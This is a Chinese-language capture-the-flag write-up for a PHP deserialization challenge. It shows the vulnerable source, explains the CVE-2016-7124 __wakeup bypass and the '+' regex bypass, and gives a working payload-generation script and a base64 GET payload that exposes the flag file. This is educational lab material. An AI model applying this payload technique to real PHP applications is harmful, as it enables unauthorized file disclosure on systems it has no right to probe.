zoukankan      html  css  js  c++  java
  • 攻防世界-web-Web_php_unserialize(PHP反序列化漏洞)

    本题进入场景后,显示如下代码:

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>

    可以看出,代码中使用了php反序列化函数unserialize(),且可以通过$var来控制unserialize()的变量,猜测存在php反序列化漏洞。

    php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

    Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

    php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

    具体php反序列化学习可参考:https://www.cnblogs.com/ichunqiu/p/10484832.html

    看到源码,本题需要绕过一个__wakeup()函数和一个正则匹配,才能高亮显示出 fl4g.php 文件。

    绕过__wakeup():

    在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过。

    绕过__wakeup()是利用CVE-2016-7124漏洞,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

    影响版本:

    • PHP before 5.6.25
    • 7.x before 7.0.10

    绕过正则:

    使用+可以绕过preg_match(), 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。

    脚本如下:

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    $var = new Demo('fl4g.php');
    $var = serialize($var);
    var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
    $var = str_replace(':1:', ':2:',$var);//绕过wakeup
    var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($var));#显示base64编码后的序列化字符串
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
    ?>

    最后get传参即可获得flag。

    ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

  • 相关阅读:
    prototype.js超强的javascript类库
    MySQL Server Architecture
    Know more about RBA redo block address
    MySQL无处不在
    利用Oracle Enterprise Manager Cloud Control 12c创建DataGuard Standby
    LAMP Stack
    9i中DG remote archive可能导致Primary Database挂起
    Oracle数据库升级与补丁
    Oracle为何会发生归档日志archivelog大小远小于联机重做日志online redo log size的情况?
    Oracle Ksplice如何工作?How does Ksplice work?
  • 原文地址:https://www.cnblogs.com/zhengna/p/13297816.html
Copyright © 2011-2022 走看看